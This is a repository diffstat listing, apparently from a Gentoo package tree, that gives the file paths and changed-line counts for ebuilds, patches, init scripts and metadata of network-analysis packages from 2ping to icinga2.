summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
Diffstat (limited to 'net-analyzer')
-rw-r--r--net-analyzer/2ping/2ping-1.2.3.ebuild37
-rw-r--r--net-analyzer/2ping/2ping-2.0.ebuild37
-rw-r--r--net-analyzer/2ping/2ping-2.1.1.ebuild31
-rw-r--r--net-analyzer/2ping/Manifest3
-rw-r--r--net-analyzer/2ping/files/2pingd36
-rw-r--r--net-analyzer/2ping/files/2pingd.conf2
-rw-r--r--net-analyzer/2ping/metadata.xml17
-rw-r--r--net-analyzer/aimsniff/Manifest2
-rw-r--r--net-analyzer/aimsniff/aimsniff-0.9d.ebuild110
-rw-r--r--net-analyzer/aimsniff/files/aimsniff.rc18
-rw-r--r--net-analyzer/aimsniff/metadata.xml12
-rw-r--r--net-analyzer/alive/Manifest2
-rw-r--r--net-analyzer/alive/alive-2.0.1.ebuild20
-rw-r--r--net-analyzer/alive/alive-2.0.2.ebuild30
-rw-r--r--net-analyzer/alive/files/alive-2.0.2-ping-test.patch14
-rw-r--r--net-analyzer/alive/metadata.xml5
-rw-r--r--net-analyzer/amap/Manifest1
-rw-r--r--net-analyzer/amap/amap-5.4.ebuild73
-rw-r--r--net-analyzer/amap/files/4.8-system-pcre.patch45
-rw-r--r--net-analyzer/amap/metadata.xml5
-rw-r--r--net-analyzer/angst/Manifest1
-rw-r--r--net-analyzer/angst/angst-0.4b-r2.ebuild42
-rw-r--r--net-analyzer/angst/files/0.4b-libnet-1.0.patch12
-rw-r--r--net-analyzer/angst/metadata.xml6
-rw-r--r--net-analyzer/apinger/Manifest1
-rw-r--r--net-analyzer/apinger/apinger-0.4.1.ebuild39
-rw-r--r--net-analyzer/apinger/metadata.xml8
-rw-r--r--net-analyzer/argus-clients/Manifest1
-rw-r--r--net-analyzer/argus-clients/argus-clients-3.0.8.ebuild73
-rw-r--r--net-analyzer/argus-clients/files/argus-clients-3.0.4.1-disable-tcp-wrappers-automagic.patch23
-rw-r--r--net-analyzer/argus-clients/files/argus-clients-3.0.7.21-curses-readline.patch21
-rw-r--r--net-analyzer/argus-clients/metadata.xml7
-rw-r--r--net-analyzer/argus/Manifest2
-rw-r--r--net-analyzer/argus/argus-3.0.8.1.ebuild79
-rw-r--r--net-analyzer/argus/argus-3.0.8.ebuild79
-rw-r--r--net-analyzer/argus/files/argus-3.0.4-disable-tcp-wrappers-automagic.patch22
-rw-r--r--net-analyzer/argus/files/argus-3.0.5-Makefile.patch20
-rw-r--r--net-analyzer/argus/files/argus-3.0.7.3-DLT_IPNET.patch17
-rw-r--r--net-analyzer/argus/files/argus-3.0.8.1-disable-tcp-wrappers-automagic.patch22
-rw-r--r--net-analyzer/argus/files/argus.initd20
-rw-r--r--net-analyzer/argus/metadata.xml6
-rw-r--r--net-analyzer/arp-scan/Manifest1
-rw-r--r--net-analyzer/arp-scan/arp-scan-1.9.ebuild19
-rw-r--r--net-analyzer/arp-scan/metadata.xml5
-rw-r--r--net-analyzer/arp-sk/Manifest1
-rw-r--r--net-analyzer/arp-sk/arp-sk-0.0.16-r2.ebuild34
-rw-r--r--net-analyzer/arp-sk/files/arp-sk-0.0.16-libnet1_2.patch50
-rw-r--r--net-analyzer/arp-sk/metadata.xml5
-rw-r--r--net-analyzer/arping/Manifest1
-rw-r--r--net-analyzer/arping/arping-2.15-r2.ebuild27
-rw-r--r--net-analyzer/arping/arping-2.15.ebuild41
-rw-r--r--net-analyzer/arping/files/arping-2.15-setgroups.patch23
-rw-r--r--net-analyzer/arping/metadata.xml5
-rw-r--r--net-analyzer/arpoison/Manifest1
-rw-r--r--net-analyzer/arpoison/arpoison-0.6-r2.ebuild39
-rw-r--r--net-analyzer/arpoison/metadata.xml8
-rw-r--r--net-analyzer/arpon/Manifest2
-rw-r--r--net-analyzer/arpon/arpon-2.7-r1.ebuild40
-rw-r--r--net-analyzer/arpon/arpon-2.7.2.ebuild40
-rw-r--r--net-analyzer/arpon/files/arpon.confd5
-rw-r--r--net-analyzer/arpon/files/arpon.initd19
-rw-r--r--net-analyzer/arpon/metadata.xml13
-rw-r--r--net-analyzer/arptools/Manifest1
-rw-r--r--net-analyzer/arptools/arptools-1.0.2.ebuild21
-rw-r--r--net-analyzer/arptools/metadata.xml8
-rw-r--r--net-analyzer/arpwatch/Manifest3
-rw-r--r--net-analyzer/arpwatch/arpwatch-2.1.15-r6.ebuild57
-rw-r--r--net-analyzer/arpwatch/arpwatch-2.1.15-r7.ebuild63
-rw-r--r--net-analyzer/arpwatch/files/arpwatch.confd11
-rw-r--r--net-analyzer/arpwatch/files/arpwatch.initd37
-rw-r--r--net-analyzer/arpwatch/metadata.xml13
-rw-r--r--net-analyzer/authforce/Manifest1
-rw-r--r--net-analyzer/authforce/authforce-0.9.9-r1.ebuild34
-rw-r--r--net-analyzer/authforce/files/authforce-0.9.9-curl.patch10
-rw-r--r--net-analyzer/authforce/files/authforce-0.9.9-locale.patch15
-rw-r--r--net-analyzer/authforce/metadata.xml7
-rw-r--r--net-analyzer/barnyard/Manifest2
-rw-r--r--net-analyzer/barnyard/barnyard-0.2.0-r3.ebuild100
-rw-r--r--net-analyzer/barnyard/files/barnyard.64bit.diff81
-rw-r--r--net-analyzer/barnyard/files/barnyard.confd19
-rw-r--r--net-analyzer/barnyard/files/barnyard.rc630
-rw-r--r--net-analyzer/barnyard/metadata.xml13
-rw-r--r--net-analyzer/barnyard2/Manifest1
-rw-r--r--net-analyzer/barnyard2/barnyard2-1.9.ebuild67
-rw-r--r--net-analyzer/barnyard2/files/barnyard2.confd36
-rw-r--r--net-analyzer/barnyard2/files/barnyard2.initd30
-rw-r--r--net-analyzer/barnyard2/metadata.xml36
-rw-r--r--net-analyzer/bigeye/Manifest2
-rw-r--r--net-analyzer/bigeye/bigeye-0.3-r3.ebuild40
-rw-r--r--net-analyzer/bigeye/files/bigeye-0.3-overflow.patch11
-rw-r--r--net-analyzer/bigeye/metadata.xml5
-rw-r--r--net-analyzer/bing/Manifest1
-rw-r--r--net-analyzer/bing/bing-1.1.3-r1.ebuild33
-rw-r--r--net-analyzer/bing/metadata.xml8
-rw-r--r--net-analyzer/bmon/Manifest2
-rw-r--r--net-analyzer/bmon/bmon-3.6-r1.ebuild50
-rw-r--r--net-analyzer/bmon/bmon-3.7.ebuild49
-rw-r--r--net-analyzer/bmon/files/bmon-3.6-docdir-examples.patch10
-rw-r--r--net-analyzer/bmon/files/bmon-3.6-net_if.h.patch11
-rw-r--r--net-analyzer/bmon/metadata.xml5
-rw-r--r--net-analyzer/braa/Manifest1
-rw-r--r--net-analyzer/braa/braa-0.82.ebuild25
-rw-r--r--net-analyzer/braa/files/braa-0.8-gentoo.diff24
-rw-r--r--net-analyzer/braa/metadata.xml5
-rw-r--r--net-analyzer/bsnmp/Manifest2
-rw-r--r--net-analyzer/bsnmp/bsnmp-1.11a.ebuild44
-rw-r--r--net-analyzer/bsnmp/bsnmp-1.12-r1.ebuild49
-rw-r--r--net-analyzer/bsnmp/bsnmp-1.12.ebuild45
-rw-r--r--net-analyzer/bsnmp/files/bsnmp-1.10-gcc34.patch12
-rw-r--r--net-analyzer/bsnmp/files/bsnmp-1.12-mibII.patch13
-rw-r--r--net-analyzer/bsnmp/files/bsnmpd.init12
-rw-r--r--net-analyzer/bsnmp/files/snmpd.config98
-rw-r--r--net-analyzer/bsnmp/files/werror.patch11
-rw-r--r--net-analyzer/bsnmp/metadata.xml5
-rw-r--r--net-analyzer/bwbar/Manifest1
-rw-r--r--net-analyzer/bwbar/bwbar-1.2.3.ebuild26
-rw-r--r--net-analyzer/bwbar/files/bwbar-1.2.3-libpng15.patch19
-rw-r--r--net-analyzer/bwbar/metadata.xml5
-rw-r--r--net-analyzer/bwm-ng/Manifest1
-rw-r--r--net-analyzer/bwm-ng/bwm-ng-0.6-r1.ebuild29
-rw-r--r--net-analyzer/bwm-ng/metadata.xml11
-rw-r--r--net-analyzer/bwmon/Manifest1
-rw-r--r--net-analyzer/bwmon/bwmon-1.3-r2.ebuild37
-rw-r--r--net-analyzer/bwmon/files/bwmon-1.3-build.patch22
-rw-r--r--net-analyzer/bwmon/files/bwmon-1.3-overflow.patch20
-rw-r--r--net-analyzer/bwmon/files/bwmon-1.3-tinfo.patch11
-rw-r--r--net-analyzer/bwmon/files/bwmon-1.3-typo-fix.patch11
-rw-r--r--net-analyzer/bwmon/metadata.xml9
-rw-r--r--net-analyzer/bwping/Manifest1
-rw-r--r--net-analyzer/bwping/bwping-1.7-r1.ebuild28
-rw-r--r--net-analyzer/bwping/files/bwping-1.7-buildsystem-configurable-ipv6.patch55
-rw-r--r--net-analyzer/bwping/metadata.xml20
-rw-r--r--net-analyzer/cacti-spine/Manifest2
-rw-r--r--net-analyzer/cacti-spine/cacti-spine-0.8.8e.ebuild46
-rw-r--r--net-analyzer/cacti-spine/cacti-spine-0.8.8f.ebuild46
-rw-r--r--net-analyzer/cacti-spine/files/cacti-spine-0.8.8d-mysql.patch11
-rw-r--r--net-analyzer/cacti-spine/files/cacti-spine-0.8.8d-ping.patch11
-rw-r--r--net-analyzer/cacti-spine/files/cacti-spine-0.8.8d-snmp_spine_close.patch10
-rw-r--r--net-analyzer/cacti-spine/files/cacti-spine-0.8.8e-fix-ac-macro.patch11
-rw-r--r--net-analyzer/cacti-spine/files/cacti-spine-0.8.8e-net-snmp.patch19
-rw-r--r--net-analyzer/cacti-spine/files/cacti-spine-0.8.8f-fix-ac-macro.patch11
-rw-r--r--net-analyzer/cacti-spine/metadata.xml14
-rw-r--r--net-analyzer/cacti/Manifest2
-rw-r--r--net-analyzer/cacti/cacti-0.8.8e.ebuild60
-rw-r--r--net-analyzer/cacti/cacti-0.8.8f.ebuild60
-rw-r--r--net-analyzer/cacti/files/postinstall-en.txt62
-rw-r--r--net-analyzer/cacti/metadata.xml17
-rw-r--r--net-analyzer/calamaris/Manifest2
-rw-r--r--net-analyzer/calamaris/calamaris-2.59.ebuild21
-rw-r--r--net-analyzer/calamaris/calamaris-2.99.4.0.ebuild35
-rw-r--r--net-analyzer/calamaris/metadata.xml6
-rw-r--r--net-analyzer/carl/Manifest1
-rw-r--r--net-analyzer/carl/carl-0.9-r1.ebuild19
-rw-r--r--net-analyzer/carl/metadata.xml8
-rw-r--r--net-analyzer/cbm/Manifest1
-rw-r--r--net-analyzer/cbm/cbm-0.1-r1.ebuild34
-rw-r--r--net-analyzer/cbm/files/cbm-0.1-gcc-4.3.patch10
-rw-r--r--net-analyzer/cbm/files/cbm-0.1-gcc-4.7.patch10
-rw-r--r--net-analyzer/cbm/files/cbm-0.1-headers-status-line.patch55
-rw-r--r--net-analyzer/cbm/files/cbm-0.1-tinfo.patch19
-rw-r--r--net-analyzer/cbm/metadata.xml9
-rw-r--r--net-analyzer/chaosreader/Manifest1
-rw-r--r--net-analyzer/chaosreader/chaosreader-0.94-r1.ebuild32
-rw-r--r--net-analyzer/chaosreader/chaosreader-0.94.ebuild25
-rw-r--r--net-analyzer/chaosreader/files/chaosreader-0.94-chunkcheck.patch27
-rw-r--r--net-analyzer/chaosreader/files/chaosreader-0.94-darwin.patch11
-rw-r--r--net-analyzer/chaosreader/files/chaosreader-0.94-divisionbyzero.patch18
-rw-r--r--net-analyzer/chaosreader/files/chaosreader-0.94-oldmultiline.patch15
-rw-r--r--net-analyzer/chaosreader/files/chaosreader-0.94-zombies.patch11
-rw-r--r--net-analyzer/chaosreader/metadata.xml8
-rw-r--r--net-analyzer/check_mk/Manifest1
-rw-r--r--net-analyzer/check_mk/check_mk-1.2.4_p5.ebuild306
-rw-r--r--net-analyzer/check_mk/files/check_mk-1.2.4p3-setup.sh.patch36
-rw-r--r--net-analyzer/check_mk/metadata.xml33
-rw-r--r--net-analyzer/cloudshark/Manifest2
-rw-r--r--net-analyzer/cloudshark/cloudshark-1.0.2.174.ebuild49
-rw-r--r--net-analyzer/cloudshark/cloudshark-1.0.3.180.ebuild49
-rw-r--r--net-analyzer/cloudshark/files/cs_log_dir.patch13
-rw-r--r--net-analyzer/cloudshark/metadata.xml11
-rw-r--r--net-analyzer/cnet/Manifest1
-rw-r--r--net-analyzer/cnet/cnet-3.3.1.ebuild52
-rw-r--r--net-analyzer/cnet/files/cnet-3.3.1-gentoo.patch163
-rw-r--r--net-analyzer/cnet/files/cnet-3.3.1-tcl.patch13
-rw-r--r--net-analyzer/cnet/metadata.xml5
-rw-r--r--net-analyzer/cryptcat/Manifest1
-rw-r--r--net-analyzer/cryptcat/cryptcat-1.2.1-r1.ebuild33
-rw-r--r--net-analyzer/cryptcat/cryptcat-1.2.1-r2.ebuild27
-rw-r--r--net-analyzer/cryptcat/files/cryptcat-1.2.1-build.patch43
-rw-r--r--net-analyzer/cryptcat/files/cryptcat-1.2.1-misc.patch48
-rw-r--r--net-analyzer/cryptcat/metadata.xml8
-rw-r--r--net-analyzer/cutter/Manifest2
-rw-r--r--net-analyzer/cutter/cutter-1.03-r1.ebuild29
-rw-r--r--net-analyzer/cutter/cutter-1.04.ebuild29
-rw-r--r--net-analyzer/cutter/files/cutter-1.03-debian.patch182
-rw-r--r--net-analyzer/cutter/metadata.xml5
-rw-r--r--net-analyzer/darkstat/Manifest2
-rw-r--r--net-analyzer/darkstat/darkstat-3.0.718.ebuild62
-rw-r--r--net-analyzer/darkstat/darkstat-3.0.719.ebuild62
-rw-r--r--net-analyzer/darkstat/files/darkstat-confd27
-rw-r--r--net-analyzer/darkstat/files/darkstat-initd59
-rw-r--r--net-analyzer/darkstat/metadata.xml10
-rw-r--r--net-analyzer/dhcp_probe/Manifest1
-rw-r--r--net-analyzer/dhcp_probe/dhcp_probe-1.3.0-r3.ebuild47
-rw-r--r--net-analyzer/dhcp_probe/files/1.3.0/01_dhcp_probe.5.patch47
-rw-r--r--net-analyzer/dhcp_probe/files/1.3.0/02_dhcp_probe.8.patch35
-rw-r--r--net-analyzer/dhcp_probe/files/1.3.0/03_implicit_point_conv_bootp.c.patch21
-rw-r--r--net-analyzer/dhcp_probe/files/1.3.0/04_linux_32_or_64bits.patch33
-rw-r--r--net-analyzer/dhcp_probe/files/1.3.0/05-cleanup.patch29
-rw-r--r--net-analyzer/dhcp_probe/files/1.3.0/06-return.patch11
-rw-r--r--net-analyzer/dhcp_probe/files/1.3.0/07-comment.patch11
-rw-r--r--net-analyzer/dhcp_probe/files/1.3.0/08-man8.patch20
-rw-r--r--net-analyzer/dhcp_probe/files/dhcp_probe.confd10
-rw-r--r--net-analyzer/dhcp_probe/files/dhcp_probe.initd48
-rw-r--r--net-analyzer/dhcp_probe/files/dhcp_probe_mail23
-rw-r--r--net-analyzer/dhcp_probe/metadata.xml13
-rw-r--r--net-analyzer/dhcpdump/Manifest1
-rw-r--r--net-analyzer/dhcpdump/dhcpdump-1.8.ebuild36
-rw-r--r--net-analyzer/dhcpdump/files/dhcpdump-1.8-Makefile.patch22
-rw-r--r--net-analyzer/dhcpdump/files/dhcpdump-1.8-debian.patch103
-rw-r--r--net-analyzer/dhcpdump/files/dhcpdump-1.8-endianness.patch12
-rw-r--r--net-analyzer/dhcpdump/metadata.xml9
-rw-r--r--net-analyzer/dietsniff/Manifest1
-rw-r--r--net-analyzer/dietsniff/dietsniff-0.4.ebuild38
-rw-r--r--net-analyzer/dietsniff/metadata.xml24
-rw-r--r--net-analyzer/dnsenum/Manifest1
-rw-r--r--net-analyzer/dnsenum/dnsenum-1.2.2.ebuild34
-rw-r--r--net-analyzer/dnsenum/metadata.xml11
-rw-r--r--net-analyzer/dnstracer/Manifest1
-rw-r--r--net-analyzer/dnstracer/dnstracer-1.9-r1.ebuild20
-rw-r--r--net-analyzer/dnstracer/metadata.xml5
-rw-r--r--net-analyzer/dosdetector/Manifest1
-rw-r--r--net-analyzer/dosdetector/dosdetector-20060621.ebuild21
-rw-r--r--net-analyzer/dosdetector/files/dosdetector-20060621-isdigit.patch10
-rw-r--r--net-analyzer/dosdetector/metadata.xml5
-rw-r--r--net-analyzer/driftnet/Manifest1
-rw-r--r--net-analyzer/driftnet/driftnet-0.1.6_p20090401.ebuild66
-rw-r--r--net-analyzer/driftnet/metadata.xml6
-rw-r--r--net-analyzer/dsniff/Manifest3
-rw-r--r--net-analyzer/dsniff/dsniff-2.4_beta1-r4.ebuild58
-rw-r--r--net-analyzer/dsniff/dsniff-2.4_beta1-r7.ebuild68
-rw-r--r--net-analyzer/dsniff/dsniff-2.4_beta1-r8.ebuild75
-rw-r--r--net-analyzer/dsniff/files/2.3-makefile.patch29
-rw-r--r--net-analyzer/dsniff/files/2.4_beta1-httppostfix.patch20
-rw-r--r--net-analyzer/dsniff/files/2.4_beta1-macof-size-calculation.patch11
-rw-r--r--net-analyzer/dsniff/files/2.4_beta1-make.patch62
-rw-r--r--net-analyzer/dsniff/files/2.4_beta1-urlsnarf-pcap_timestamps.patch15
-rw-r--r--net-analyzer/dsniff/metadata.xml14
-rw-r--r--net-analyzer/echoping/Manifest2
-rw-r--r--net-analyzer/echoping/echoping-6.0.2-r2.ebuild60
-rw-r--r--net-analyzer/echoping/echoping-6.0.2_p434-r1.ebuild56
-rw-r--r--net-analyzer/echoping/echoping-6.0.2_p434.ebuild50
-rw-r--r--net-analyzer/echoping/files/echoping-6.0.2-fix_implicit_declarations.patch20
-rw-r--r--net-analyzer/echoping/files/echoping-6.0.2-gnutls.patch41
-rw-r--r--net-analyzer/echoping/files/echoping-6.0.2_p434-fix_implicit_declarations.patch20
-rw-r--r--net-analyzer/echoping/metadata.xml15
-rw-r--r--net-analyzer/egressor/Manifest1
-rw-r--r--net-analyzer/egressor/egressor-1.0-r2.ebuild38
-rw-r--r--net-analyzer/egressor/files/1.0-flags.patch22
-rw-r--r--net-analyzer/egressor/files/1.0-libnet-1.0.patch10
-rw-r--r--net-analyzer/egressor/metadata.xml6
-rw-r--r--net-analyzer/etherape/Manifest1
-rw-r--r--net-analyzer/etherape/etherape-0.9.13.ebuild32
-rw-r--r--net-analyzer/etherape/metadata.xml16
-rw-r--r--net-analyzer/ethloop/Manifest1
-rw-r--r--net-analyzer/ethloop/ethloop-10-r3.ebuild30
-rw-r--r--net-analyzer/ethloop/files/ethloop-10-gcc45.patch32
-rw-r--r--net-analyzer/ethloop/metadata.xml6
-rw-r--r--net-analyzer/ettercap/Manifest1
-rw-r--r--net-analyzer/ettercap/ettercap-0.8.2.ebuild63
-rw-r--r--net-analyzer/ettercap/ettercap-9999.ebuild73
-rw-r--r--net-analyzer/ettercap/metadata.xml19
-rw-r--r--net-analyzer/fail2ban/Manifest2
-rw-r--r--net-analyzer/fail2ban/fail2ban-0.9.2-r1.ebuild105
-rw-r--r--net-analyzer/fail2ban/fail2ban-0.9.2.ebuild100
-rw-r--r--net-analyzer/fail2ban/fail2ban-0.9.3.ebuild105
-rw-r--r--net-analyzer/fail2ban/fail2ban-99999999.ebuild107
-rw-r--r--net-analyzer/fail2ban/files/fail2ban-0.9.2-initd.patch25
-rw-r--r--net-analyzer/fail2ban/files/fail2ban-0.9.2-logrotate.patch12
-rw-r--r--net-analyzer/fail2ban/metadata.xml5
-rw-r--r--net-analyzer/fe3d/Manifest1
-rw-r--r--net-analyzer/fe3d/fe3d-0.11.2.ebuild55
-rw-r--r--net-analyzer/fe3d/files/fe3d-0.11.2-asneeded.patch39
-rw-r--r--net-analyzer/fe3d/files/fe3d-0.11.2-coreutils.patch12
-rw-r--r--net-analyzer/fe3d/metadata.xml8
-rw-r--r--net-analyzer/ffp/Manifest1
-rw-r--r--net-analyzer/ffp/ffp-0.0.8-r1.ebuild27
-rw-r--r--net-analyzer/ffp/metadata.xml5
-rw-r--r--net-analyzer/firewalk/Manifest1
-rw-r--r--net-analyzer/firewalk/files/firewalk-5.0-gcc3.4.diff11
-rw-r--r--net-analyzer/firewalk/firewalk-5.0-r1.ebuild34
-rw-r--r--net-analyzer/firewalk/metadata.xml5
-rw-r--r--net-analyzer/flow-tools/Manifest1
-rw-r--r--net-analyzer/flow-tools/files/flow-tools-0.68.5.1-run.patch22
-rw-r--r--net-analyzer/flow-tools/files/flow-tools-0.68.5.1-syslog.patch47
-rwxr-xr-xnet-analyzer/flow-tools/files/flowcapture.confd45
-rwxr-xr-xnet-analyzer/flow-tools/files/flowcapture.initd23
-rwxr-xr-xnet-analyzer/flow-tools/files/linkme15
-rw-r--r--net-analyzer/flow-tools/flow-tools-0.68.5.1-r2.ebuild78
-rw-r--r--net-analyzer/flow-tools/flow-tools-0.68.5.1-r4.ebuild72
-rw-r--r--net-analyzer/flow-tools/flow-tools-0.68.5.1-r5.ebuild72
-rw-r--r--net-analyzer/flow-tools/flow-tools-0.68.5.1-r6.ebuild72
-rw-r--r--net-analyzer/flow-tools/metadata.xml15
-rw-r--r--net-analyzer/flowgrind/Manifest1
-rw-r--r--net-analyzer/flowgrind/flowgrind-0.7.1.ebuild26
-rw-r--r--net-analyzer/flowgrind/metadata.xml11
-rw-r--r--net-analyzer/fping/Manifest3
-rw-r--r--net-analyzer/fping/files/fping-2.4_beta2_p161-err.h.patch10
-rw-r--r--net-analyzer/fping/files/fping-2.4_beta2_p161-min-time.patch47
-rw-r--r--net-analyzer/fping/fping-2.4_beta2_p161-r2.ebuild61
-rw-r--r--net-analyzer/fping/fping-3.10.ebuild27
-rw-r--r--net-analyzer/fping/metadata.xml6
-rw-r--r--net-analyzer/fprobe/Manifest1
-rw-r--r--net-analyzer/fprobe/files/conf.d-fprobe71
-rw-r--r--net-analyzer/fprobe/files/fprobe-1.1-pidfile-sanity.patch47
-rw-r--r--net-analyzer/fprobe/files/fprobe-1.1-setgroups.patch18
-rw-r--r--net-analyzer/fprobe/files/init.d-fprobe41
-rw-r--r--net-analyzer/fprobe/fprobe-1.1-r2.ebuild44
-rw-r--r--net-analyzer/fprobe/fprobe-1.1.ebuild32
-rw-r--r--net-analyzer/fprobe/metadata.xml11
-rw-r--r--net-analyzer/fragroute/Manifest1
-rw-r--r--net-analyzer/fragroute/fragroute-1.2.6.ebuild48
-rw-r--r--net-analyzer/fragroute/metadata.xml5
-rw-r--r--net-analyzer/ftester/Manifest1
-rw-r--r--net-analyzer/ftester/ftester-1.0.ebuild27
-rw-r--r--net-analyzer/ftester/metadata.xml8
-rw-r--r--net-analyzer/fwlogwatch/Manifest1
-rw-r--r--net-analyzer/fwlogwatch/fwlogwatch-1.4.ebuild87
-rw-r--r--net-analyzer/fwlogwatch/metadata.xml5
-rw-r--r--net-analyzer/gensink/Manifest1
-rw-r--r--net-analyzer/gensink/files/gensink-4.1-make.patch10
-rw-r--r--net-analyzer/gensink/gensink-4.1-r2.ebuild24
-rw-r--r--net-analyzer/gensink/metadata.xml5
-rw-r--r--net-analyzer/gnome-nettool/Manifest1
-rw-r--r--net-analyzer/gnome-nettool/gnome-nettool-3.8.1.ebuild46
-rw-r--r--net-analyzer/gnome-nettool/metadata.xml5
-rw-r--r--net-analyzer/gnu-netcat/Manifest1
-rw-r--r--net-analyzer/gnu-netcat/files/gnu-netcat-LC_CTYPE.patch19
-rw-r--r--net-analyzer/gnu-netcat/files/gnu-netcat-close.patch16
-rw-r--r--net-analyzer/gnu-netcat/files/gnu-netcat-flagcount.patch22
-rw-r--r--net-analyzer/gnu-netcat/gnu-netcat-0.7.1-r3.ebuild37
-rw-r--r--net-analyzer/gnu-netcat/metadata.xml9
-rw-r--r--net-analyzer/goaccess/Manifest4
-rw-r--r--net-analyzer/goaccess/files/goaccess-0.6.1-CFLAGS.patch10
-rw-r--r--net-analyzer/goaccess/files/goaccess-0.6.1-tinfo.patch32
-rw-r--r--net-analyzer/goaccess/goaccess-0.5-r1.ebuild45
-rw-r--r--net-analyzer/goaccess/goaccess-0.6.1.ebuild44
-rw-r--r--net-analyzer/goaccess/goaccess-0.8.5.ebuild48
-rw-r--r--net-analyzer/goaccess/goaccess-0.9.ebuild53
-rw-r--r--net-analyzer/goaccess/metadata.xml25
-rw-r--r--net-analyzer/gr-fosphor/gr-fosphor-9999.ebuild63
-rw-r--r--net-analyzer/gr-fosphor/metadata.xml9
-rw-r--r--net-analyzer/graphite-web/Manifest2
-rw-r--r--net-analyzer/graphite-web/files/graphite-web-0.9.13-fhs-paths.patch76
-rw-r--r--net-analyzer/graphite-web/files/graphite-web-0.9.13-system-libs.patch100
-rw-r--r--net-analyzer/graphite-web/graphite-web-0.9.13-r1.ebuild99
-rw-r--r--net-analyzer/graphite-web/metadata.xml14
-rw-r--r--net-analyzer/greenbone-security-assistant/Manifest5
-rw-r--r--net-analyzer/greenbone-security-assistant/files/greenbone-security-assistant-5.0.3-run.patch16
-rwxr-xr-xnet-analyzer/greenbone-security-assistant/files/gsad23
-rw-r--r--net-analyzer/greenbone-security-assistant/files/gsad-daemon.conf14
-rw-r--r--net-analyzer/greenbone-security-assistant/files/gsad.init14
-rw-r--r--net-analyzer/greenbone-security-assistant/files/gsad.logrotate11
-rw-r--r--net-analyzer/greenbone-security-assistant/files/gsad.service16
-rw-r--r--net-analyzer/greenbone-security-assistant/files/gsad.tmpfiles.d1
-rw-r--r--net-analyzer/greenbone-security-assistant/greenbone-security-assistant-5.0.7.ebuild61
-rw-r--r--net-analyzer/greenbone-security-assistant/greenbone-security-assistant-5.0.8.ebuild61
-rw-r--r--net-analyzer/greenbone-security-assistant/greenbone-security-assistant-6.0.3.ebuild64
-rw-r--r--net-analyzer/greenbone-security-assistant/greenbone-security-assistant-6.0.4.ebuild64
-rw-r--r--net-analyzer/greenbone-security-assistant/greenbone-security-assistant-6.0.5.ebuild64
-rw-r--r--net-analyzer/greenbone-security-assistant/metadata.xml7
-rw-r--r--net-analyzer/gsm-receiver/files/0001-gsm-receiver-build-against-gnuradio-3.7.patch323
-rw-r--r--net-analyzer/gsm-receiver/gsm-receiver-9999.ebuild45
-rw-r--r--net-analyzer/gsm-receiver/metadata.xml6
-rw-r--r--net-analyzer/gspoof/Manifest1
-rw-r--r--net-analyzer/gspoof/files/gspoof-3.2-icon.patch71
-rw-r--r--net-analyzer/gspoof/files/gspoof-def-values.patch29
-rw-r--r--net-analyzer/gspoof/gspoof-3.2-r2.ebuild40
-rw-r--r--net-analyzer/gspoof/metadata.xml7
-rw-r--r--net-analyzer/hping/Manifest1
-rw-r--r--net-analyzer/hping/files/bytesex.h.patch18
-rw-r--r--net-analyzer/hping/files/hping-3_pre20051105-ldflags.patch16
-rw-r--r--net-analyzer/hping/files/hping-3_pre20051105-libtcl.patch16
-rw-r--r--net-analyzer/hping/files/hping-3_pre20051105-scan-overflow.patch11
-rw-r--r--net-analyzer/hping/files/hping-3_pre20051105-tcl.patch11
-rw-r--r--net-analyzer/hping/files/hping-3_pre20051105-tclsh-proper-escaping.patch26
-rw-r--r--net-analyzer/hping/files/hping-3_pre20051105.patch45
-rw-r--r--net-analyzer/hping/hping-3_pre20051105-r3.ebuild75
-rw-r--r--net-analyzer/hping/hping-3_pre20051105-r5.ebuild75
-rw-r--r--net-analyzer/hping/metadata.xml6
-rw-r--r--net-analyzer/httping/Manifest1
-rw-r--r--net-analyzer/httping/files/httping-2.2.1-flags.patch12
-rw-r--r--net-analyzer/httping/httping-2.4.ebuild64
-rw-r--r--net-analyzer/httping/metadata.xml8
-rw-r--r--net-analyzer/hunt/Manifest1
-rw-r--r--net-analyzer/hunt/files/hunt-1.5-exit.patch10
-rw-r--r--net-analyzer/hunt/files/hunt-1.5-flags.patch21
-rw-r--r--net-analyzer/hunt/files/hunt-1.5-log2.patch22
-rw-r--r--net-analyzer/hunt/hunt-1.5-r1.ebuild34
-rw-r--r--net-analyzer/hunt/hunt-1.5-r2.ebuild32
-rw-r--r--net-analyzer/hunt/metadata.xml5
-rw-r--r--net-analyzer/hydra/Manifest1
-rw-r--r--net-analyzer/hydra/files/hydra-8.0-configure.patch44
-rw-r--r--net-analyzer/hydra/hydra-8.1.ebuild99
-rw-r--r--net-analyzer/hydra/metadata.xml7
-rw-r--r--net-analyzer/ibmonitor/Manifest1
-rw-r--r--net-analyzer/ibmonitor/ibmonitor-1.4.ebuild22
-rw-r--r--net-analyzer/ibmonitor/metadata.xml8
-rw-r--r--net-analyzer/icinga-web/Manifest4
-rw-r--r--net-analyzer/icinga-web/icinga-web-1.10.0-r1.ebuild206
-rw-r--r--net-analyzer/icinga-web/icinga-web-1.10.0.ebuild206
-rw-r--r--net-analyzer/icinga-web/icinga-web-1.10.1.ebuild206
-rw-r--r--net-analyzer/icinga-web/icinga-web-1.11.2.ebuild206
-rw-r--r--net-analyzer/icinga-web/icinga-web-1.9.1-r1.ebuild203
-rw-r--r--net-analyzer/icinga-web/metadata.xml17
-rw-r--r--net-analyzer/icinga/Manifest7
-rw-r--r--net-analyzer/icinga/files/fix-prestripped-binaries-1.7.0.patch23
-rw-r--r--net-analyzer/icinga/files/icinga-apache.conf17
-rw-r--r--net-analyzer/icinga/files/icinga-conf.d3
-rw-r--r--net-analyzer/icinga/files/icinga-init.d62
-rw-r--r--net-analyzer/icinga/files/icinga-lighty.conf24
-rw-r--r--net-analyzer/icinga/files/ido2db-conf.d1
-rw-r--r--net-analyzer/icinga/files/ido2db-init.d40
-rw-r--r--net-analyzer/icinga/icinga-1.10.4.ebuild259
-rw-r--r--net-analyzer/icinga/icinga-1.11.1.ebuild259
-rw-r--r--net-analyzer/icinga/icinga-1.11.4.ebuild259
-rw-r--r--net-analyzer/icinga/icinga-1.11.7.ebuild264
-rw-r--r--net-analyzer/icinga/icinga-1.12.0.ebuild264
-rw-r--r--net-analyzer/icinga/icinga-1.12.2.ebuild267
-rw-r--r--net-analyzer/icinga/icinga-1.9.6.ebuild259
-rw-r--r--net-analyzer/icinga/metadata.xml19
-rw-r--r--net-analyzer/icinga2/Manifest4
-rw-r--r--net-analyzer/icinga2/files/icinga2.confd4
